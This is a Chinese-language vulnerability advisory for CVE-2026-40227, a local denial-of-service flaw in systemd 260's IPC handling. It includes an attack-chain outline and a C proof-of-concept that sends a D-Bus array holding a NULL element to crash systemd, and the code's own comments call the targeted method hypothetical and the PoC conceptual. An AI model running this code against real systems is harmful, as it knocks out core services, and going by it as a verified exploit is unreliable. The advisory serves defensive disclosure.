IPBUF安全漏洞报告
English
CVE-2026-40227 CVSS 6.2 中危

CVE-2026-40227 systemd本地拒绝服务漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40227
漏洞类型
拒绝服务
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
systemd

相关标签

拒绝服务systemd本地漏洞IPC断言失败

漏洞概述

CVE-2026-40227 是一个存在于 systemd 260 至 261 之前版本中的安全漏洞。该漏洞源于 IPC API 对输入参数校验不足。本地无特权攻击者可以通过发送包含空元素的数组或映射数据的 IPC API 调用,触发 systemd 内部的断言失败。这会导致 systemd 守护进程崩溃,从而使系统遭受拒绝服务攻击,严重影响系统可用性。

技术细节

该漏洞的具体技术细节涉及 systemd 对 D-Bus 或底层 IPC 通信消息的解包过程。在受影响的版本中,当处理特定类型的数据结构(如数组或映射)时,代码逻辑假设所有元素均为有效非空指针。然而,攻击者可以构造特制的 IPC 消息,其中包含空元素。当 systemd 尝试解析或引用这些空元素时,会触发预置的 assert() 宏检查。由于 assert 失败通常会调用 abort() 函数终止进程,这导致 systemd 核心服务意外停止。尽管攻击需要本地访问权限(AV:L),但无需任何用户认证(PR:N)即可触发,使得低权限用户能够破坏系统核心服务的稳定性,导致依赖 systemd 的所有服务中断。

攻击链分析

STEP 1
1. 本地访问
攻击者获取本地系统的访问权限,无需特殊权限。
STEP 2
2. 构造恶意载荷
攻击者编写程序,通过 systemd 的 IPC API 发送包含空元素的数组或映射数据。
STEP 3
3. 触发漏洞
恶意数据被 systemd 接收并解析,触发代码中的断言检查。
STEP 4
4. 系统崩溃
断言失败导致 systemd 守护进程中止,引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <systemd/sd-bus.h> /* * PoC for CVE-2026-40227 * This code attempts to trigger the assertion failure in systemd * by sending a variant array containing a NULL element via IPC. */ int main(int argc, char *argv[]) { sd_bus_error error = SD_BUS_ERROR_NULL; sd_bus_message *m = NULL; sd_bus *bus = NULL; int r; // Connect to the system bus r = sd_bus_open_system(&bus); if (r < 0) { fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); goto finish; } // Create a method call to a vulnerable interface (Hypothetical path) r = sd_bus_message_new_method_call(bus, &m, "org.freedesktop.systemd1", // Service "/org/freedesktop/systemd1", // Object path "org.freedesktop.systemd1.Manager", // Interface "SetEnvironment"); // Method (Example) if (r < 0) { fprintf(stderr, "Failed to create method call: %s\n", strerror(-r)); goto finish; } // Construct a malicious array containing a NULL element // Note: Actual implementation details of triggering the specific assert // depend on the exact vulnerable API endpoint. r = sd_bus_message_open_container(m, 'a', "s"); if (r < 0) { fprintf(stderr, "Failed to open container: %s\n", strerror(-r)); goto finish; } // Append a valid string first sd_bus_message_append_basic(m, 's', "VALID_VAR=1"); // Attempt to append a null/invalid element to trigger the assertion // In a real PoC, this might involve manipulating the serializer directly // or using a specific API call that accepts arrays. // This is a conceptual representation. sd_bus_message_append_basic(m, 's', NULL); r = sd_bus_message_close_container(m); if (r < 0) { fprintf(stderr, "Failed to close container: %s\n", strerror(-r)); goto finish; } // Send the message r = sd_bus_call(bus, m, 0, &error, NULL); if (r < 0) { fprintf(stderr, "Call failed (Expected if crashed): %s\n", error.message); } else { printf("Call succeeded, target might not be vulnerable or patched.\n"); } finish: sd_bus_error_free(&error); sd_bus_message_unref(m); sd_bus_unref(bus); return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; }

影响范围

systemd 260
systemd < 261

防御指南

临时缓解措施
由于该漏洞需要本地访问且利用难度较低,建议立即限制非管理员用户对系统关键总线的访问权限,或监控 systemd 进程的异常崩溃日志以检测潜在的攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表